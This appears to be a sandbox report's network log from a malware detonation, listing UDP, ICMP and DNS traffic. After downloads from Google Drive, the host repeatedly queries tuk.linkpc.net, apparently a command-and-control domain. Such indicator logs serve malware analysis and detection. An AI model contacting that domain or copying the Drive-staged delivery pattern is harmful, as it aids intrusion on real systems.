Aug 5, 2022 11:34:12.673532963 CEST	53434	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:12.789232016 CEST	53	53434	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:18.672377110 CEST	57393	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:18.797213078 CEST	53	57393	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:24.717828989 CEST	58141	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:24.727416992 CEST	53	58141	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:30.576075077 CEST	63528	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:30.586200953 CEST	53	63528	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:36.481532097 CEST	57706	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:36.597254992 CEST	53	57706	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:42.556569099 CEST	63445	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:42.566190004 CEST	53	63445	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:48.400950909 CEST	57596	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:48.410609007 CEST	53	57596	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:54.322215080 CEST	53326	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:54.438241005 CEST	53	53326	1.1.1.1	192.168.11.20
Aug 5, 2022 11:34:58.679541111 CEST	52008	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:34:58.689017057 CEST	53	52008	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:04.584121943 CEST	51246	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:04.593795061 CEST	53	51246	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:10.535805941 CEST	60057	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:11.549949884 CEST	60057	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:35:11.581832886 CEST	53	60057	9.9.9.9	192.168.11.20
Aug 5, 2022 11:35:11.583400965 CEST	58828	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:11.708448887 CEST	53	58828	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:12.653842926 CEST	53	60057	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:17.604959965 CEST	52691	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:17.614592075 CEST	53	52691	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:23.501876116 CEST	62898	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:23.625874043 CEST	53	62898	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:29.517004013 CEST	63367	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:29.640959978 CEST	53	63367	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:35.530438900 CEST	53471	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:35.540015936 CEST	53	53471	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:41.435544014 CEST	63917	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:41.444996119 CEST	53	63917	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:47.387442112 CEST	50814	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:47.397044897 CEST	53	50814	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:53.247137070 CEST	62654	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:53.371336937 CEST	53	62654	1.1.1.1	192.168.11.20
Aug 5, 2022 11:35:59.275289059 CEST	51946	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:35:59.284746885 CEST	53	51946	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:05.227123976 CEST	57449	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:05.236743927 CEST	53	57449	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:11.117989063 CEST	62344	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:11.243120909 CEST	53	62344	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:17.086630106 CEST	52934	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:17.095899105 CEST	53	52934	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:23.044409990 CEST	57625	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:23.173751116 CEST	53	57625	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:29.065849066 CEST	54797	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:30.095171928 CEST	54797	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:36:30.099138975 CEST	53	54797	9.9.9.9	192.168.11.20
Aug 5, 2022 11:36:30.684124947 CEST	53	54797	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:36.018923044 CEST	54694	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:36.028650999 CEST	53	54694	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:41.969168901 CEST	54976	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:41.982587099 CEST	53	54976	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:47.874558926 CEST	57482	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:47.884468079 CEST	53	57482	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:53.733606100 CEST	60219	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:53.743386984 CEST	53	60219	1.1.1.1	192.168.11.20
Aug 5, 2022 11:36:59.637025118 CEST	50980	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:36:59.646581888 CEST	53	50980	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:05.588907003 CEST	50510	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:05.598385096 CEST	53	50510	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:11.446918011 CEST	60435	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:11.456281900 CEST	53	60435	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:17.351824045 CEST	55622	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:17.361181021 CEST	53	55622	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:23.272507906 CEST	62139	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:23.283582926 CEST	53	62139	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:29.177437067 CEST	62494	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:29.186938047 CEST	53	62494	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:35.129445076 CEST	51603	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:35.139229059 CEST	53	51603	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:41.020170927 CEST	56330	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:41.029963017 CEST	53	56330	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:46.923991919 CEST	54773	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:47.040210009 CEST	53	54773	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:52.937983990 CEST	64373	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:52.947561026 CEST	53	64373	1.1.1.1	192.168.11.20
Aug 5, 2022 11:37:58.844466925 CEST	58380	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:37:59.887749910 CEST	58380	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:37:59.892019987 CEST	53	58380	9.9.9.9	192.168.11.20
Aug 5, 2022 11:37:59.892657042 CEST	59309	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:00.464914083 CEST	53	58380	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:00.903049946 CEST	59309	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:38:00.906367064 CEST	53	59309	9.9.9.9	192.168.11.20
Aug 5, 2022 11:38:02.018528938 CEST	53	59309	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:04.921719074 CEST	56135	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:04.931158066 CEST	53	56135	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:10.871596098 CEST	60426	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:10.881320000 CEST	53	60426	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:16.729809046 CEST	64305	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:16.854331017 CEST	53	64305	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:22.790716887 CEST	63130	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:22.800626040 CEST	53	63130	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:28.657541990 CEST	49921	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:29.662511110 CEST	49921	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:38:29.666232109 CEST	53	49921	9.9.9.9	192.168.11.20
Aug 5, 2022 11:38:29.667045116 CEST	55547	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:38:29.670787096 CEST	53	55547	9.9.9.9	192.168.11.20
Aug 5, 2022 11:38:30.276550055 CEST	53	49921	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:33.678966045 CEST	63959	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:33.688431978 CEST	53	63959	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:39.646378040 CEST	64898	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:39.761596918 CEST	53	64898	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:45.598529100 CEST	54867	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:45.608515024 CEST	53	54867	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:51.520092964 CEST	58591	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:51.646773100 CEST	53	58591	1.1.1.1	192.168.11.20
Aug 5, 2022 11:38:57.579916954 CEST	63629	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:38:57.589534044 CEST	53	63629	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:03.438503027 CEST	52762	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:04.451811075 CEST	52762	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:39:04.456307888 CEST	53	52762	9.9.9.9	192.168.11.20
Aug 5, 2022 11:39:04.457096100 CEST	57291	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:39:04.461613894 CEST	53	57291	9.9.9.9	192.168.11.20
Aug 5, 2022 11:39:05.056463957 CEST	53	52762	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:08.468300104 CEST	64823	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:08.477998972 CEST	53	64823	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:12.732745886 CEST	51456	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:12.741753101 CEST	53	51456	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:18.637866974 CEST	58993	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:19.651629925 CEST	58993	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:39:19.655186892 CEST	53	58993	9.9.9.9	192.168.11.20
Aug 5, 2022 11:39:19.655885935 CEST	62306	53	192.168.11.20	9.9.9.9
Aug 5, 2022 11:39:19.659593105 CEST	53	62306	9.9.9.9	192.168.11.20
Aug 5, 2022 11:39:20.255547047 CEST	53	58993	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:23.668332100 CEST	62548	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:23.677767992 CEST	53	62548	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:29.621148109 CEST	54614	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:29.745368958 CEST	53	54614	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:35.587583065 CEST	64778	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:35.597193003 CEST	53	64778	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:41.523385048 CEST	57726	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:41.534070969 CEST	53	57726	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:47.383136034 CEST	51805	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:47.392364979 CEST	53	51805	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:53.286617994 CEST	49863	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:53.296116114 CEST	53	49863	1.1.1.1	192.168.11.20
Aug 5, 2022 11:39:59.238343954 CEST	56773	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:39:59.248460054 CEST	53	56773	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:05.152400970 CEST	57730	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:05.162075043 CEST	53	57730	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:11.032572031 CEST	57077	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:11.148859024 CEST	53	57077	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:17.031421900 CEST	50847	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:17.041599989 CEST	53	50847	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:22.936971903 CEST	60891	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:22.946896076 CEST	53	60891	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:28.872673035 CEST	57836	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:28.882746935 CEST	53	57836	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:34.779040098 CEST	55617	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:34.789006948 CEST	53	55617	1.1.1.1	192.168.11.20
Aug 5, 2022 11:40:40.696635008 CEST	62180	53	192.168.11.20	1.1.1.1
Aug 5, 2022 11:40:40.812553883 CEST	53	62180	1.1.1.1	192.168.11.20

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 5, 2022 11:35:12.654064894 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:36:30.684325933 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:38:00.465068102 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:38:02.018742085 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:38:30.276910067 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:39:05.056691885 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable
Aug 5, 2022 11:39:20.255884886 CEST	192.168.11.20	1.1.1.1	cb04	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2022 11:32:57.904799938 CEST	192.168.11.20	1.1.1.1	0x9683	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Aug 5, 2022 11:32:58.583528042 CEST	192.168.11.20	1.1.1.1	0x4393	Standard query (0)	doc-14-70-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:00.786587000 CEST	192.168.11.20	1.1.1.1	0x1f73	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:07.131448984 CEST	192.168.11.20	1.1.1.1	0xf897	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:13.592540026 CEST	192.168.11.20	1.1.1.1	0xabf9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:20.015330076 CEST	192.168.11.20	1.1.1.1	0x9b46	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:26.601202965 CEST	192.168.11.20	1.1.1.1	0x3b18	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:33.132432938 CEST	192.168.11.20	1.1.1.1	0xa1f9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:39.879178047 CEST	192.168.11.20	1.1.1.1	0xcc71	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:46.304721117 CEST	192.168.11.20	1.1.1.1	0x528c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:52.573375940 CEST	192.168.11.20	1.1.1.1	0xfb82	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:33:59.279649973 CEST	192.168.11.20	1.1.1.1	0xa88d	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:06.190618992 CEST	192.168.11.20	1.1.1.1	0xd9f1	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:12.673532963 CEST	192.168.11.20	1.1.1.1	0x8241	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:18.672377110 CEST	192.168.11.20	1.1.1.1	0x1019	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:24.717828989 CEST	192.168.11.20	1.1.1.1	0x8688	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:30.576075077 CEST	192.168.11.20	1.1.1.1	0xfdb9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:36.481532097 CEST	192.168.11.20	1.1.1.1	0xdf35	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:42.556569099 CEST	192.168.11.20	1.1.1.1	0x8511	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:48.400950909 CEST	192.168.11.20	1.1.1.1	0xacca	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:54.322215080 CEST	192.168.11.20	1.1.1.1	0x396b	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:34:58.679541111 CEST	192.168.11.20	1.1.1.1	0xe2b1	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:04.584121943 CEST	192.168.11.20	1.1.1.1	0x54c5	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:10.535805941 CEST	192.168.11.20	1.1.1.1	0xe796	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:11.549949884 CEST	192.168.11.20	9.9.9.9	0xe796	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:11.583400965 CEST	192.168.11.20	1.1.1.1	0x259e	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:17.604959965 CEST	192.168.11.20	1.1.1.1	0xc2bb	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:23.501876116 CEST	192.168.11.20	1.1.1.1	0xe7d3	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:29.517004013 CEST	192.168.11.20	1.1.1.1	0x3bda	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:35.530438900 CEST	192.168.11.20	1.1.1.1	0x1eab	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:41.435544014 CEST	192.168.11.20	1.1.1.1	0x95f6	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:47.387442112 CEST	192.168.11.20	1.1.1.1	0xbbd9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:53.247137070 CEST	192.168.11.20	1.1.1.1	0x138c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:35:59.275289059 CEST	192.168.11.20	1.1.1.1	0xd0ef	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:05.227123976 CEST	192.168.11.20	1.1.1.1	0x3ed6	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:11.117989063 CEST	192.168.11.20	1.1.1.1	0x6433	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:17.086630106 CEST	192.168.11.20	1.1.1.1	0x6fb3	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:23.044409990 CEST	192.168.11.20	1.1.1.1	0xeb6f	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:29.065849066 CEST	192.168.11.20	1.1.1.1	0x4342	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:30.095171928 CEST	192.168.11.20	9.9.9.9	0x4342	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:36.018923044 CEST	192.168.11.20	1.1.1.1	0x9d66	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:41.969168901 CEST	192.168.11.20	1.1.1.1	0xc1f8	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:47.874558926 CEST	192.168.11.20	1.1.1.1	0xb30b	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:53.733606100 CEST	192.168.11.20	1.1.1.1	0x88aa	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:36:59.637025118 CEST	192.168.11.20	1.1.1.1	0x4d9f	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:05.588907003 CEST	192.168.11.20	1.1.1.1	0xeb9c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:11.446918011 CEST	192.168.11.20	1.1.1.1	0xdbd3	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:17.351824045 CEST	192.168.11.20	1.1.1.1	0xa62	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:23.272507906 CEST	192.168.11.20	1.1.1.1	0xb57d	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:29.177437067 CEST	192.168.11.20	1.1.1.1	0x9000	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:35.129445076 CEST	192.168.11.20	1.1.1.1	0x9fc5	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:41.020170927 CEST	192.168.11.20	1.1.1.1	0x89ed	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:46.923991919 CEST	192.168.11.20	1.1.1.1	0x8b19	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:52.937983990 CEST	192.168.11.20	1.1.1.1	0x320e	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:58.844466925 CEST	192.168.11.20	1.1.1.1	0xf497	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:59.887749910 CEST	192.168.11.20	9.9.9.9	0xf497	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:37:59.892657042 CEST	192.168.11.20	1.1.1.1	0xc102	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:00.903049946 CEST	192.168.11.20	9.9.9.9	0xc102	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:04.921719074 CEST	192.168.11.20	1.1.1.1	0x31ed	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:10.871596098 CEST	192.168.11.20	1.1.1.1	0xe702	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:16.729809046 CEST	192.168.11.20	1.1.1.1	0x713c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:22.790716887 CEST	192.168.11.20	1.1.1.1	0x6976	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:28.657541990 CEST	192.168.11.20	1.1.1.1	0x6d35	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:29.662511110 CEST	192.168.11.20	9.9.9.9	0x6d35	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:29.667045116 CEST	192.168.11.20	9.9.9.9	0x2554	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:33.678966045 CEST	192.168.11.20	1.1.1.1	0x458	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:39.646378040 CEST	192.168.11.20	1.1.1.1	0xadeb	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:45.598529100 CEST	192.168.11.20	1.1.1.1	0x136b	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:51.520092964 CEST	192.168.11.20	1.1.1.1	0xfb92	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:38:57.579916954 CEST	192.168.11.20	1.1.1.1	0xb123	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:03.438503027 CEST	192.168.11.20	1.1.1.1	0x12dd	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:04.451811075 CEST	192.168.11.20	9.9.9.9	0x12dd	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:04.457096100 CEST	192.168.11.20	9.9.9.9	0xab33	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:08.468300104 CEST	192.168.11.20	1.1.1.1	0x7dea	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:12.732745886 CEST	192.168.11.20	1.1.1.1	0xf28b	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:18.637866974 CEST	192.168.11.20	1.1.1.1	0xb1c9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:19.651629925 CEST	192.168.11.20	9.9.9.9	0xb1c9	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:19.655885935 CEST	192.168.11.20	9.9.9.9	0x6e5e	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:23.668332100 CEST	192.168.11.20	1.1.1.1	0x3cd6	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:29.621148109 CEST	192.168.11.20	1.1.1.1	0x1997	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:35.587583065 CEST	192.168.11.20	1.1.1.1	0x6311	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:41.523385048 CEST	192.168.11.20	1.1.1.1	0x7848	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:47.383136034 CEST	192.168.11.20	1.1.1.1	0xcfc0	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:53.286617994 CEST	192.168.11.20	1.1.1.1	0xbe9c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:39:59.238343954 CEST	192.168.11.20	1.1.1.1	0x5a9f	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:05.152400970 CEST	192.168.11.20	1.1.1.1	0x94e3	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:11.032572031 CEST	192.168.11.20	1.1.1.1	0x8b0f	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:17.031421900 CEST	192.168.11.20	1.1.1.1	0x9f2a	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:22.936971903 CEST	192.168.11.20	1.1.1.1	0x3a89	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:28.872673035 CEST	192.168.11.20	1.1.1.1	0x560c	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
Aug 5, 2022 11:40:34.779040098 CEST	192.168.11.20	1.1.1.1	0xd867	Standard query (0)	tuk.linkpc.net	A (IP address)	IN (0x0001)
